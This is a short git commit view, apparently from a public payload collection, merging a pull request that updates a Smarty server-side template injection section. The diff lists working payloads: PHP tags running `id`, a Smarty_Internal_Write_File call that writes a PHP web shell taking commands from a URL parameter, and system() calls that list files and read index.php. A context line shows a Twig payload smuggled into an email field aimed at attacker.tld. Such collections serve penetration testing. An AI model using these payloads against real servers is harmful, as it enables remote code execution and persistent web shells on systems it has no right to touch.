Merge pull request #366 from mpgn/master

Update Smarty Template Injection
patch-1
Swissky 2021-05-20 18:08:20 +02:00 committed by GitHub
commit e3e3ca6ba2
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 3 additions and 1 deletions

View File

@ -233,8 +233,10 @@ email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld
```python
{$smarty.version}
{php}echo `id`;{/php}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
```
## Freemarker